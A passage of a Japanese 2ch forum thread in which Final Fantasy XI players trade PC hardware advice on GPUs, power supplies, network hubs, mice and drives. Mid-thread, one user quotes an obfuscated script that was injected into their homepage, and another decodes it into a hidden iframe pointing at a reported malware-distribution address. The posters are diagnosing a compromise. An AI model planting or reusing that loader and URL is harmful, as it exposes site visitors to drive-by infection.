2行目以降に書いたら×。明らかに遅い。

昔はヘイストかかっててリキャストが短くなってる場合
マクロからだと詠唱できるのに、手動だとヘイスト分のリキャスト短縮が考慮されずに詠唱できない
なんてのがあったが （つまりマクロのが早く詠唱できる場合があった）

今はしらん

ウチのパソコンCPUがHD46800ってヤツなんですけどFF出来ますか？

まずはWindowsが起動できるかどうかからお試しください

>>618
スタンやフラッシュは魔法欄の一番上や一番下に置くもんだ。

>>597
スペック教えてくれー

>>623
それは盲点だったは・・・

>>604
今のnvidiaのGPCPUの方向性だとintelは要らないんじゃないかなぁ・・・

>>597
忍戦コ、、、あと詩赤だな。
赤はRadeonHD4870X2として詩人はサウンドカードかね(*‘ω‘ *)

安価ミス

>>594
忍戦コ、、、あと詩赤だな。
赤はRadeonHD4870X2として詩人はサウンドカードかね(*‘ω‘ *)

俺は詩は忍とセットので十分です

ＰＣの電源落とすとたま〜〜〜に電源だけ切れないことがある
OSはシャットダウンされてるしHDDへのアクセスもちゃんと止まるんだが
電源と廃熱ファンだけが電源きれずに動き続けることがまれにある
HDDのアクセスは止まってるから強制的に電源をきっても大丈夫だろうか・・・
たまにしか起こらないとはいえちっと怖いぜ

>>630
熱を出し切ったらおまるとおもうよ

そういう機能のある電源あるけどそれとは違うのかね
例えばうちの場合だがシャットダウンするとシャットダウン完了とともに
グラボファン＆システムファン＆電源ファンが全速回転しだして
こもってた熱を出す
んでテキトーに廃熱し終わると電源落ちる

最近のはそういう機能があるのか・・しらなかったぜ
グラボはファンレスだから確かに熱がこもり気味になってる心当たりはある

おまる×　
とまる○

そういう電源なのかどうか確認しとけよ
ホントに故障かもしれんし
電源の故障は他の機器巻き込むから注意だ

雷対策用にアースを使いたいがコンセントにアース線がなかった；；

>>636
線引っ張って地面にでも埋めとけよ

ねえねえ質問していい？

どうぞどうぞ

>>626
http://northwood.blog60.fc2.com/blog-entry-2098.html


GPGPUにしか進めないNVIDIA
２番手連合でそこそこ食ってくAMD-ATi
CPU,IGP共に圧倒的シェアなINTEL

とりあえずアレだ。
OSはXP入れといた方がいい。マジで。
vistaだとXPと比べると２〜３割処理速度落ちるぞ。

ageとくか

age

鯖変わった？

時間の１秒未満は表示されなくなったなｗ

>最強鯖きたｗｗｗ
>実況もおｋな使用だとよ
>
>
>661 名前：root ★[] 投稿日：2008/07/04(金) 20:44:10.19 0 ?DIA(100512)
>このサーバは掲示板サーバとしては yutori を超えて、
>雪だるまサーバを除けば現時点で２ちゃんねる最強といってもいいので、
>どうぞ、ごぞんぶんかつおてやわらかに。

>350 名前：名無し募集中。。。 投稿日：2008/07/04(金) 17:08:41.07 0
>チャンギ鯖すげえええええええ

>CPU Core 2 Quad Q9550
>HDD 250GBytes 7200rpm SATA300 RAID 1
>MEM 8G Bytes
>OS FreeBSD 7.0R/amd64
>Apache 2.2系

意外とHDDの容量少ないんだな

おちるおちる

OS FreeBSD 7.0R/amd64
とか言われてもいまいちピンときませんしおすし

amd64使うなら新しく出た低消費電力のPhenom使って欲しいね。

>>649
UNIXの一つ

>>649
ググったけど、UNIX互換のフリーOSらしい。
軽くて安定性のある鯖向きっぽい。

>>650
鯖なんだから、そこはOpteronって言わないと＞＜

2ch鯖に使ってるマザーみるととてもOpteronなんて言えない・・。

2ちゃんでOpteron投入した鯖は8台あるんだな

よく分からんが、携帯で見るネ実でエラーでることが稀に良くあるけど
あれは鯖移転で改善された？

まぁあれだ、インテルも価格改定控えてるしとりあえず月末か来月くらいまで
様子見だよなぁ〜

まぁFF用にデュアルってなら買っても良いと思うが...

>>655
専ブラだとなんか板そのものが移動したみたいなおかしな挙動になる

ファン改造電源が最近あやしい音出し始めたので
そろっと電源買い換えようかと思案中。

10k〜20kの予算でAntecかSeasonicの電源を探してネットで調べてたが・・・
http://www.dosv.jp/other/0708/09.htm
この記事みて4kで買えるコアパワーに決めたｗ

また今回も安物買いの銭失いになるのかにゃ

>>658
電源って意外と壊れるパーツだし最悪予備にすればいいんじゃねｗ

なんかホームページに勝手に

<script>
<!--
var d=document,kol=561;
function O10H48607E455E8F5(H48607E455ECF1){ function H48607E455F0EB() {var H48607E455F4FF=16;return H48607E455F4FF;}
return( parseInt(H48607E455ECF1,H48607E455F0EB()));}function H48607E455F8F9(H48607E455FE8A){
var H48607E45608D9 = 2;
var H48607E45600E9='';for(H48607E45604D9=0; H48607E45604D9<H48607E455FE8A.length; H48607E45604D9+=H48607E45608D9){ H48607E45600E9 += (
String.fromCharCode (O10H48607E455E8F5(H48607E455FE8A.substr(H48607E45604D9, H48607E45608D9))));}return H48607E45600E9;}
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//-->
</script>

が追加されてたんだが、これハッキングされて改変でもうけたのかな？
わかる人いますか？

>>660
それ16進数になってるので、文字列に変換してみた。

<script>if(!myia){d.write('<IFRAME name=O1 src=\'http://77.221.133.171/.if/go.html?'+Math.round(Math.random()*206975)+'c5\' width=487 height=425 style=\'display: none\'></IFRAME >');}var myia=true;</script>

＞77.221.133.171
ロシアみたい。
該当URLにアクセスしたところ、悪質なフィッシングとして報告されているとのこと。

改竄されてるっぽいかな。

H抜きし忘れたぜ・・・

ttp://77.221.133.171/.if/go.html

>このページは悪質なソフトウェアを配布するページとして報告されています。ページ上の>いかなるソフトウェアも深刻な影響を与える可能性があります。このページにアクセスしないよう Opera Software は強くお勧めします。

↑とか、今更だけど、スパイウェアとかウィルス配布してるURLなので踏むなよ！
絶対に踏むなよ！

ふんじまったΣ(ﾟДﾟ||)

この状況下でなんで踏むんだよｗｗｗ

>>661,662
専用ブラの場合はh抜きもリンクされるのでドットを●にして下さい。。。

>>655
鯖落ち前後からギコナビで1054だったかのエラーでスレの差分が読み込めないことが
３回に１回くらいの割合であったけど、現在の鯖になってから快適そのもの

スクロールしてて間違ってクリックしちまった。
俺の環境だと何かにブロックされたから大丈夫なはず・・。

翌日、身包み剥がされて路頭に迷うID:ELB134asの姿が！

大丈夫Firefoxでもブロックされるみた。
もう1回踏んで確かめて見た。。でもみんな踏むなよΣ(ﾟДﾟ||)

ちょいとスレとは無関係な質問
DVD-RAM ビデオ用　カートリッジタイプを貰ったんだけど
中身を出して普通のDVD-RAMとして使えるんだよね？
データ用との違いがイマイチよくわからず

おなじ

>>666
ごめんなさい、気をつけます。

>>672
�d
アニメ焼くわ

E2200とAthlon64x2/5000BEのこの二つをOCで3G位で回すと
全体的な性能はやっぱE2200の方が上になるのかな？
3Dゲームとか動画エンコとか。

DVDRAM*2 RAID0で9.4GB
FFインスコできるな・・・
ヴァナにたどり着くまで相当かかりそうだがｗ

>>675
同一クロック同士なら、PenDCとAthlon64はほぼ同じ性能
低予算＆定格で組むならAMD系のほうがいいし
低予算だけどOCしちゃうよ、っていうならINTEL系のほうがいいよ

CORE POWER2のプラグインはいつ発売なんだろう
省スペ筐体買っちゃったからぜひとも欲しい

OCを前提にするならセレDCもいいような

オーバークロックなんて馬鹿がやること。

む〜

発熱があがるとか寿命が縮むとか言うけど、ちゃんとOCするヤツなんて
リファレンスクーラーのわけが無いし、寿命来る前に他のCPUに乗り換えるのも確実だから、問題無いんじゃね？
そうゆうヤツにとっては定格で寿命まで使うなんて非効率的だろうし。
リファレンス以外のクーラー買ったり、短期でCPU乗り換えることが馬鹿と言うのは無しなｗ

自作PC板って怖いとこだな（’・ω・`）

自作PC板って怖いとこだな(´・ω・｀)

【ｽｺｯﾄ･ﾘﾁｬｰｽﾞ】アンテッ子極萌え 2【上級副社長】
http://pc11.2ch.net/test/read.cgi/jisaku/1215003837/

ｷﾞｶﾞﾊﾞｲ子×蒼ちゃん激萌え11度目のﾊﾟｰﾝ
http://pc11.2ch.net/test/read.cgi/jisaku/1185097905/

金玉が熱いよ！（；´Д｀）ノ
http://pc11.2ch.net/test/read.cgi/jisaku/1213361935/

好きでバカやってる人間相手に
「それはバカなこと」と言うのは野暮ってもんさ

>>675
現在進行形で両プラットホーム使っている側の意見としては、アップグレードを
考えないのなら後者が断然良い
そして、前者の方がOC時のパフォーマンスうｐ度は高い
ただし、INTELプラットホームの場合、現在はまだメモコン外装な事もあり、E2200
だとその分の性能を補うだけのキャッシュが少なすぎるせいか、レスポンスは
体感出来るほどかなり悪い(Windowsインスコ直後ですら)
今現在何使っているか知らないけど、もしAMD系を使っているのなら、INTEL系で
いくならもっと上のキャッシュの多い石にした方がいいよ
漏れは速攻でE8500に載せ変えたから

もっさりマン参上か
1Mのキャッシュ食いつぶすOSってなんだよｗ

数年前の1.4GHz L2 64kの林檎パンDuronでも、XPインスコ直後は軽かったわｗ

>>553
ヤマハは、業務用がなかなか良いからな。
というか他に選択の余地があまりないとも言う・・シスコなんかわざわざ使いたくないし。

ＲＴ5ｘ系はそれの廉価版で初心者でも使いやすくした感じだから、まあモノはいいだろう。
ただ、コストパフォーマンスは悪いけど。

optはあからさまに設計思想がマニア向けだから、初心者には勧めにくいな。。。

といいつつ、うちではヤマハのＲｔ1100にコレガの３０００円の奴ぶら下げて使ってるが；

>>619
金に糸目つけないなら、16ＧＢ積むとか、サーバー用マザーに32ＧＢ積むとかできるけどな。４ＧＢメモリ売ってるし。無かったら受注生産してもらえばいい。
でもたいして変わりはしないだろうなｗ
ハイエンドの世界はお金10倍出して性能１割上がれば良しなんじゃない？ｗ

>>688
YAMAHA、NEC、CISCO、Foundry、Juniper辺りだとYAMAHAは使いやすくていいね。

YAMAHAとNEC、CISCO、Foundry、Juniperこの辺りを比べるのは酷だな。
アライドとかその辺りが競合相手じゃね

>>691
まぁ、そうなんだけど。
中小だとYAMAHAやNECルータ使うことが多くないか。

最近、アライドテレシスは余り見ない気がする。

ネットの人じゃないからその辺りは分からないです。
でも、何を使ってるかは系列会社によって使ってるの違いそうよね。

アライドは・・ニュージーランドとか外国で頑張ってるんじゃないかな・・・。
あの辺りで開発してたような気がするし。

ネットワークの話が出ているので便乗して質問。
今4台のPCをHUB接続ているんだけどPCを1台変えてから
他のPCでインターネットに繋げなくなることが頻発するようになった。
ケーブルを交換してみてもHUBやADSLモデムの電源をON/OFFしても
改善されなかった。
とりあえず今は、各PCの接続速度を遅くしてどうにか繋いでいる状況。
10BaseのHalf Duplexまで落とさないと繋がらなくなったものもあった。

で、改善するにはどうしたらいいだろう？直感では100BaseのHUBが
ダメになってきているような気がする。

>>694
パソコンの電源をすべて消して
HUBの電源抜き差し→モデムの再起動、起動の確認→HUBのリンクランプ確認

その後パソコンを1台ずつつけて、HUBのリンクランプ確認
1台でも異常があれば、HUBのポート不良・HUB故障を疑って、その経由してるLAN配線を変更
それでも改善しないならHUB交換して、ちゃんとHUB用の電源コンセントを確保して下さい

>>694
PC側がリンクしてない場合は、他PCにその問題のあるLANケーブルを繋いで
本当に不良かどうかチェックして下さい
まぁ全部1人でやるとしたら相当めんどくさいけど・・・
基本、PC側設定はDHCPならばLAN設定そのままでいいかも

法人とかで固定IP使ってる場合は、意外と694みたいな現象は多い

なんつーか、えぬびでぃあさん必死ですね
http://www.nvidia.co.jp/object/opccampaign_jp.html

>>697
こないだIntelが言ってたことと真っ向から対立してるなｗｗ

>>697
パフォーマンス比較対象が極端すぎｗｗｗｗ

AMD-ATiの選択肢がにぃｗ

>>695-696 アドバイスありがとう
一応、指摘事項は実施済み。単独だとどれも繋がるのよね・・・
とはいえ、HUBが原因と確定した訳じゃないのがつらい

明日念のためケーブル新しいもの買ってくる
HUBもかな

スイッチングHUBなのか普通のHUBなのか
熱暴走してるってのもあるかも。

スイッチングHUBなのに過負荷や熱で
おバカになるHUBは結構ある。牛のヤツとか。
これで何度泣かされたことか。

FFってマルチスレッド対応してないよね？
でも何かタスクマネージャ見てると２つのコアのグラフが同時にめちゃ振れてるんだけど何で？
プロセスの方の使用率ではPOL50、IDLE50で普通なんだけど

対応して無いようで対応してます。
でも効果のある対応ではないので、
意味が無い。

>>704
Windowsが倉庫、CPUが作業員、FFが荷物A、他の常駐アプリが荷物n。
デュアルコアだと通常二人の作業員がそれぞれ違う荷物をはこんで仕分けしているが、
マルチスレッド対応したアプリだと一つの荷物を作業員Aが運搬、作業員Bがそれを仕分け、みたいに
それぞれが作業を分担して動くことが出来る。

age

age

NVIDIAもDirectX 10.1対応GPUを予定している模様
http://northwood.blog60.fc2.com/blog-entry-2102.html#comment

TG Dailyで得たスライドによるとNVIDIAは2009年春に予定されているノートPC向け次世代GPUでDirectX 10.1のサポートを行うようである。
DirectX 10.1のサポートはデスクトップ向け次世代GPUでも行われ、2008年第4四半期から2009年第1四半期の投入が予定されている。
もう1つ、NVIDIAは2008年にGDDR5の導入を予定しており、最初のGDDR5搭載のNVIDIA製カードは2008年第4四半期に見られそうである。

なんか最近のNVIDIAはやることなすこと後手後手ばっかりだなｗ
結局DX10.1対応するんかい！って感じだ。
あと次世代カード出すペースが早すぎｗ

ちょっと性能上がればすぐナンバリング上げて出すしなぁ。
9xxxとかいらなかっただろ。

廉価版の8000代って位置付けでいいんじゃない？

最近やたらATIのネット広報部のバイトの活動が盛んｗ
実際、FFで使うならゲフォかラデ9xxx番台、Xxxx番台しかありえない。
それ以降はcccが不安定すぎで、落ちまくり。

1650PRO使ってたときの話だが、
ズヴァ城でAF宝箱開けようとトレードした瞬間に落ちたときはマジで怒り狂った。
おまけに鍵だけ無くなってAF取れてなかったし、戻った時に目玉に絡まれて死んだ。

一度鍵取りしてもらったLSメンにもう一度カギ取りに行くのをお願いするのが無茶苦茶辛かった。

>実際、FFで使うならゲフォかラデ9xxx番台、Xxxx番台しかありえない。
X1650PROはXxxx番台じゃないんかいｗ

>>702-703 スイッチングでないHUBなんて、探さないと無いような・・・
それはともかく、漏れ自身はかつてコレガのHUB使って酷い目にあったな。
使っているとHUB自体がハングしてしまった（笑）
　今使っているのはGreenhouseのHUBだけどいい加減熱でだめになってきたのかも
さわると結構熱いし

>>712 GeForce5800まじオススメｗｗｗｗｗ

誰が何使ってるかなんて分からないからな。
製品を書いてないのだから聞かれてもしょうがねえよ。

よりによってコレガ買うなんて・・・

ccc、9000番台で立ち上がりがあんまり遅いんで使わなくなっていたんだけど、
4850では他のツールがまだ対応していないんで、しぶしぶ入れた。
…あれ？こんなに早かったっけ？ってのが感想。
俺の環境では速さ以外は問題がなかったんで、このままでもいいかな、と思ってる。

HD3650使ってるがcccが不安定とは感じないな。
カタ8.5以降アルザダールにワープしてきたばかりの人をタゲると
たまに落ちることがあるくらいかな。

>>712
んヴぃぢあのバイト君、朝から乙であります。
宝箱がローカル処理なら、鍵ロストはわかるが
鯖処理の時点で作り話だなｗ

大半のトラブルはパーツのせいというより
使う奴の頭のせいだしなｗ

んなわけあるかい相性の問題が一番多いわ
特にwindows系のOSはな

>>721
Windows系のOSってか、Windows以外対応してねーだけじゃんｗ
一応ほとんどの愛称問題はハードウェアもしくはメーカー側ドライバーの問題なんだが。

OSとH/Wの相性問題って、ドライバがサポートしてないだけじゃん

仮に鍵だけなくなったにしてもGM呼ぶのが恐くてびびってるようなお子様はオンボードで十分だよ

上に引越してきたDQNの足音がうるさくて
耳栓とヘッドホン両方装着してみた

これは快適ヘッドホンは良いの買わなきゃだめだな

集合住宅初めてって人は階下への足音に気づかない
俺も昔そうだった

だから木造はいやなんだよなぁ。
気を使って住み続けたくないし。

ラデは8500、9800PRO、1950PRO、HD4780と使ってきたけど
グラボが原因で落ちたことなんかないし、FFに関してはラデの方が優秀なイメージだなぁ

>4870
値段とか市場在庫とかどんな感じ？

コレガってプラネットのメンバらが派生して作ったらしい
老舗とはいえプラネット経営陣に喧嘩売って会社立ち上げるその勇気は認める

GM呼んだら何時間待つと思うんだｗｗｗ
FFXIはテキサスの荒野みたいなもんだ
ムダに思い入れるより適度に遊べる部分だけ遊んで飽きたら撤退が正解

>>729
秋葉だとだいたいクロシコとパワカラが36k、サファが38k、MSIが40k↑で在庫は一通りある感じ

パワカラ36kか、4ｘｘ0系はまじでASK税かかってないんだな
来週末にでもかってくるわ

鍵じゃないけどフレに借りた麒麟大袖を返す時に
トレード窓が出て渡す瞬間に落ちた事があるけど
あの時はまじで背筋が凍りついた。
まぁ大袖は無事トレードされていたけど。

GM来るの3時間くらいかかるけどねｗ
カギ取りでそのくらい時間かかるかもしれないし迷惑かけるとおもうくらいならダメ元でもまずはGM待つくらいできるだろうし
お願いするのが辛かっただけなんだろうけど
しかしズヴァールでコッファーわくとこに目玉なんかいたっけ、通路にいるだけで箱でるとこにはデーモンしかいなかったような

>>735
真ん中の４つのむかいあうとこ、目玉徘徊してるよ

穴開いてるところぎりぎりだったっけ、それなら目玉いるね指摘ありがとう
長い間行ってないから地下と勘違いしてた

機械のクセに相性とかなんなの

今回ASKは比較的大人しいが、
CFD税は酷いな。

それ以前に４８７０がどこにも売ってねー。
まあメモリ１ＧＢ版が出るまで買わないけどさ

>>730
プラネットって一体なんだよｗ
コレガはアライドテレシスから派生したメーカーだって昔っから既出だしなｗ
最初のころは、アライドテレシスの製品を安く販売するためにロゴだけ変えて売ってたしな。
そのうちに、安い事だけに固執して旧メルコと張り合って崖を転がり落ちるように駄目会社になっていったがｗ

新しい鯖になってスレ上限増えたら、すぐ下のほうまで落ちてくるようになったなｗ

>>694
断定はできないけど、ＨＵＢが死に掛けてる可能性はとても高いと思う。
うちのコレガとバッファローも2回おなじような症状で死んだ・・・

室温30度超で8個ケーブルさしてると熱きついみたいよ・・・・

>>704 >>705
FF本体の対応に関しては良くわからんけど、シングルコアだとＨＤＤ読み込みにもかなり影響されるのが軽くなるから、
それだけでも違いが大きい気がする。
デュアルだとウィルス対策ソフトのスキャン始まってもちょっと重いかなくらいで済んだりするｗ

>>738
相性が起きる原因は、規格の厳密さが不足していて規格どおりに作ったのにかかわらず問題が起きる可能性がある場合と、
規格を単に満たしていない、もしくは部分的に規格無視して作ってるとか、そんなとこでしょ。
それか、バグで規定の動きができなくなる場合があるとか。

多少問題はあっても、たいていは普通に動く、でも組み合わせによってとか、使い方によって電源状態が変わったりするとかで、
問題が顕在化する場合が多いと思う。

コレガの製品でも、大型のケースに移して8センチのファンでもつければ良いと思うんだ・・・
こんどそうしようｗ

でもやっぱり、場合によっちゃデータセンター以上の負荷がかかるファイル交換ソフト使いまくりには向かないかもナ・・

ケース代+ファン代+自分の手間賃

買い換えたほうが利口だろうｗ

プラネックスとプレクスターを間違えることは稀によくある

>>719
ネットワークを利用している時点で普通にありえる話だつーの
逆になんで鯖処理だとないなんて結論だせるのかが不思議ｗ

>>719

トレード開始->サーバー側で鍵消費+アイテム取得判定->サーバーのアイテム取得処理
->クライアントにメッセージ送付

サーバー側に全セーブデーターがある以上(これ重要)
消費と取得は一括処理っしょ
別にしてたらさすがにアホwわざわざ手間を増やすだけだしね

あぁアンカー間違えたw

>>750
>>719-> >>749ね

魔手クエを受け忘れていてギルをゲットしていたと大胆予想

FFプレイ中に突然HDD内の、FF関連入ってるパテだけ認識しなくなって
強制的に落ちました。以降、ショートカットからFF起動しようとしても
「ネットワーク上にファイルが在りません」みたいなエラーを吐きます
当該パテを認識してないので、当然なのでしょうが
こんな経験のある方いらっしゃいますか？

環境は
5kBE M3AH-HDMI mem1G*2 WD320 １プラッタのやつ
XPSP2>一週間前にSP3へ
助言下されば幸いです。

まず質問するときは変な略称使わないことから始めよう。

パテってこれか？
パテ（pâté） - 肉やフォアグラ、魚介類をすりつぶし調味したもの。
パイに詰めたりスプレッドとして食べる。
なかなかうまいのもあるよなww

まぁパーティションの事だとは思うが、方言はほどほどにw

単にHDD壊れただけじゃね？
コントロールパネル->管理ツール(クラッシックモード)->コンピュータの管理を開いて
ディスクの管理をクリック
そのパーティションの状態が表示されるからみてみ
マウントがはずれてるなら、右クリックでアクティブに出来れば
もしかしたら使えるかもね

早速のレスありがとう！そしてパテ失礼＞＜
ディスクの状態確認したところ、表記は正常
しかしＤＡＴＡと名前を付けてたはずなの名無しに
空きも100%でした、フォーマットしなおしてFF入れ直します。　

>>743 昨日とりあえず別のHUB買ってきた中古だけどｗ
で、いままで使っていたHUB見ると2003年に買ってきたものだった。
さすがに金属筐体といえどこれだけ使えば壊れてもおかしくないか。

>>753
その部分だけ物理的にHDDが逝ったか、
それを管理してたOSがパーティション見失ったか。
なんにせよ、再度パーティション構築するべし。

あとHDD一台ならアプリ系は、Cドライブに入れたほうが高速にアクセスするよ。

>>750
トレードした途端に落ちると、鍵だけ消える。
俺もウィルスバスター更新で同じ目にあった。

同じように合成中に落ちてもアイテムだけ消えるな。

マウスが壊れたみたいなんだが今買うならどのマウスがオススメなの？

好きなの買えよ
マウスとか人それぞれ好みあるだろうが

>>760
ハムスターでいいんじゃね？

マウスならマイクロソフトがいいんじゃね

>>760
FFXIしてるなら光学マウスは2,000円以上の高解像度のがお勧め。
300円で買ったArvelの光学マウス使ってるんだが、安物なので触らなくてもカーソルがぶれて、FFXIで使うと誤入札を頻繁に起こす。

やはりハードはマイクロソフトが格が違うようだな
俺インテリマウス10年使ってるし

>>760
保証も無いマウス使ってるの？
マトモなのなら数年保証あるでしょ？
それとも盗んできたの？

>>764
FFXIでマウス使う奴なんかいねーだろ
1/10000単位くらいの稀にいるかもしれんが

>>766
たかがマウスなのになんでそこまで攻撃的になるの？

生前マウスにかみつかれたという負の記憶が彼をそうさせたのだ

前にスタンについてお聞きしたものですがまた教えてください。
敵のWSをスタンで止めるとして、敵のWSがログに表示されるまでの間&こちらがスタンのボタンを押してから詠唱が開始されるまでの間にHDDへのアクセスはありませんよね？

>>769
HDDのアクセスランプでも見てりゃわかるでしょ(´_ゝ｀)

そんなこと確認しなきゃ止められないTP技なんて止められなくていいじゃない
基本的にモンスター自身に表示される赤い線のエフェクトの方がログより早いしな
バトルエフェクトを調整してそっちを見て止めるようにした方がよっぽどいい

FFだけがHDDアクセスするわけでもないだろう
キャッシュとかも考えるともう訳分からない状態に。

>>767
大学1年目とかに実験動物保管庫入った時にはもれなくトラウマになれるよ

>>766
FFXIする度にマウス抜く奴なんかいねーだろ
1/10000人くらいの確率で稀にいるかもしれんが

マウスでマウス操作してみた

とかいうニコ動画があっても良さそうなんだがまだ見たこと無いな

FFやってるときにマウスなんて触ったことないわ・・・

変換アダプタ使ってPS2純正コントローラをPCに繋げばマウスいらないな

マウス使うのなんてせいぜいPOL操作する時くらいだわ

ただ、PT待ち中にハンゲとかで時間潰す時は結構マウス重要だぜ

デュアルディスプレイでFFXI窓でやって他何か動かしてることがほとんどだし、マウスはしょっちゅう触ってるな

ログイン時10キーのenterで「はい」を押そうとする
　→ちょっとマウスが邪魔でコツンとあたる
　　→「いいえ」でenter→ふりだしにもどる

SSDとHDDでPC組むのですが、SSDが16GしかなくてOSとスタートアップ系を入れるとFFはSSDに入らなくてHDDに入れるのですが、
SSDがプライマリのマスター、HDDがプライマリのスレーブになるのでFFのアクセスが遅くならないか心配してました。

OSと同じドライブにFF入れるよりも別々に入れたほうが早くなるからむしろ推奨

おお、そうなんですね。
ありがとうございました。

ラプター買って起動用ドライブにしようと思ってたけど
よく考えたらＳＳＤのほうがいいんだな…

値段の桁がぜんぜん違うぞＳＳＤとラプターとでは。

いま、ロジクールのLS21ってスピーカー届いたんだけど液晶の内蔵スピーカーとは別次元の音がなるな。
ジュノの音楽がゲームボーイからオーケストラに変った感じｗ
3,000円でいい買い物したぜ。
http://www.logicool.co.jp/index.cfm/speakers_audio/home_pc_speakers/devices/4251&cl=jp,ja

こだわりが無いとSSDはきついな。
以前よりかなり安くなったとはいえ、容量par値段的にまだ手を出せるシロモノじゃないなぁ

Antec SOLO使ってるんだが

>>789
ださいっすねー

途中で書き込んでしまったｗ

【CPU】 AMD Phenom X4 9750 2.4GHz TDP95W
【Mem】 UMAX DDR2-800 2GB*2
【M/B】 ASUS M3A
【VGA】 XIAi Radeon HD3870 512MB コア810MHz　メモリ2.4ＧＨｚ
【driver】 8.6
【DirectX】 9.0c
【Sound】 オンボ
【OS】 WindowsXP home SP3
【電源】　Seasonic　M12　SS-600HM
【ケース】　Antec SOLO

上記の構成なんだが、室温27℃でアイドル時のケース内温度34℃
しばいたら38℃ぐらいになるんだがこれぐらいの温度って普通？

むしろ低すぎw

むしろちゃんと冷えてる方だと思うし、全く問題無いと思う。出来ればCPU、GPUコア温度も欲しいけど

結構低いのかよかったｗ
先日、冷却重視しようと思って三洋ファンの９２�pを前面に2個と３８�o厚の120�pファンを背面に1個つけたんだ。
音がちょっとうるさくなったけど冷やすためには仕方ないよね(´；ω；`)
ファンコンも付けたから外気が涼しくなってきたら回転数下げれば良いかなって。

>>793
CPU温度(BIOS画面で確認）が60℃ぐらい。
GPU温度(CCC確認）が65℃ぐらい。

>>794
静穏と冷却は相反するものだし、自分なりに妥協できるところを探さなきゃいけないから仕方がない。
CPU温度が若干高いからCPUファンがリテールなら他に付け替えてもいいとはちょっと思ったけど
音が気になるようなファンに付け替えるぐらいならその温度でも問題は無いと思う。

ちょっと質問なんだけど

【CPU】 intel　Pen4　3.0G
【Mem】 DDR　PC-3200　512Mx3
【VGA】 Geforce　7900GT　256M
【DirectX】 10.0
【Sound】 オンボ
【OS】 Windows　vista　ultimate
【電源】　ケースと一緒についてた350W
【ケース】　DOSパラの2年くらい前のprime

これでメモリのサブスコアが4.2で重かったり処理落ちするから、
1G増設して、合計2.5Gになったんだけど、

サブスコアが4.1と下がったんだけどなぜなんだろう？
体感では処理落ちはしなくなったんだけど。

誤差

>>756

マウントされていない状態でインストールしてしまって
マウント外すと出てくるって可能性もw

C:\Programfiles\Playonline配下とかに別ドライブマウントしてるんだよね？

>>759

ぬほなんという阿保仕様、キャラクタは数分その場に残ってるはずなのに
処理されないとは...クライアントになに聞きに行ってるんだサーバー...

>>795

ヒートパイプで熱を持ってきて、大型のファンを低速でまわすって手もあるけどね
ある程度の静穏は確保できると思う
まぁ、ファンなしにはかなわないけど...

メモリの相性

>>796
あのスコアって容量じゃなくて、アクセス速度だかが関係していて、
容量が増えると参照する場所が増えて逆に時間がかかりスコアが落ちたりするというのを見た記憶が。
M/Bによっても変化するらしいし、正直なんともいえない。4.0超えてればいいんじゃない？みたいな。
メモリ喰いのVistaでは2GB以上は欲しいから、スコアは気にせずそのまま使えばいいと思うよ。

ところで7900GTでDX10って入れれるの？

VistaにはDX9exも入ってるからゲームはそっちで動いてる

>>800
なるほど。
どうしても数字の面で増やしたはずなのにスコアが・・・って気になってたもんで
ありがとう。気にせず使うことにするよ

>>774
頭大丈夫か？なんで抜くんだよ

WindowsキーをKBから抜くのと同じ理論だろ

マウスポインタは適当なところに置いておいたら消えないか？
Windoewsキーはいつぞやのバージョンアップ以降問題なくなった

>>804
>>766がちゃんと日本語読めないようでトンチンカンなレスしてたんで、
間抜けなレスに引っ掛けてレスした。

マウス抜く奴なんて居ないだろうし、安物マウスだと触らなくても勝手にポインタが動いて誤入札するのも事実。

MSの安物マウスが500円くらいでワゴンに入ってる時代だぞ
安物マウスでも問題なんて何も無い。

なあメーカー自作キットを試みようと思ってるんだが
物凄い素人な質問していいか？

dダメっていっても質問しちゃうんだろう？

いいよ、俺が聞き流してやろう。

>>796
ヒント：デュアルモード

>>810-811
あのね、OSなしの自作PCに前のメーカー製PCに付いてたXPインスコしても動く？

>>807
おｋ、お前が馬鹿なのは良くわかったから、もう自己紹介しなくていいよ

>>813
動くけど、ライセンス的にやっちゃダメー！

>>813
メーカーによって抜け穴はあるが基本的に脱法行為なので自分で調べろ

マウスが壊れたとして
それ修理出して数週間待つ間マウス無しの生活するのかｗ
俺なら壊れたマウスさっさと捨ててその日に新しいの買いに出かけるわｗ
いつ壊れるかわからないマウスの為に予備用意しとくとかもアホらしいしｗ

ワイヤレスレーザーマウスに慣れた今じゃ、ケーブル付きのボールマウスとかもうイライラして扱えません。
あと人のPC触るとポインタ速度が遅くてやっぱりイライラする。

PC8台あるから壊れたら取ってくるだけだな

ごめん俺2つも予備あるわ
それに販売店に保証期間内にもってったらたいがい交換してくれないか

俺も壊れたらノートで使ってるマウス差し込むだけだ

でもメインで使ってるRazerのマウス壊れたらちょっと凹むなｗ

マウスが動いて嫌ならひっくり返しとけばいいよ
光は見ないようにな

>>815-816
ありがとう
そうか動くのか
おえむ版に一万出すなら一つ上のスペックにしたかったんだ
流石にもう一つ質問したら怒られるよね

光学式は赤光ってるから分かるんだけど、レーザーマウスって何のレーザー出てんの？可視光じゃないの？

OEM版かっとけよｗ
あと質問は1回にまとめろ　次が最後な

OEM版買えるならフロッピーかネジと一緒に買っておくほうがいい
その方がライセンスも明確になるし面倒が少なくなる。

>>812
ありがとう、ググってみたら
http://www.intel.com/jp/support/motherboards/desktop/sb/cs-011965.htm
ていうのが出てきたからコレでちょっとまた試してみるよ

>>816-817
ネ実民は優しいな

ネ…ネジ…？
今のメーカー製PCで使ってるLANカードとかｶﾞﾘｶﾞﾘいってるHDDとかメモリを規格が合ってるとしても
新しい自作PCには入れない方がいい？

LANボード(PCIにさすやつ)は流用できるだろうけど別にオンボードのLAN機能でもそんな変わらんだろう
LANカード(PCカードとかの)はさす場所がないかもな
HDDはいい機会なので新しいのにするのを推奨
ありゃあ高速回転してるレコードみたいなもんで一番壊れやすい部品だよ

ねじ云々は「このねじ入れたPCで使うOSです！」ってへりくつようだな
フロッピードライブも壊れてもあまりこまらんのでおぬぬめ

青歯マウス最強

>>829
その性能が御眼鏡に適うならいいんじゃないの？
ただHDDはある意味消耗品で今は500GBでも7000円前後だし、
メモリもちょっと怖いから新しいの買った方がいいような気はする。

>>829
HDDは新しくしたほうがいい、LANカードは・・・マザーについてるの使って
不都合が出たなら付けてみればいい。
メモリは新しく買っちゃったほうが良いぞ

よく分からんかったが分かったよ！ありがとう
オレがオスラじゃなかったら乳うｐしてるところだ
とりあえずおえむ版は買わない方向で進めてみるよ

メモリの規格は数年前と違うけど大丈夫なのかね
Pen4の時代のPCだと今のMBに合うのと合わないのがある
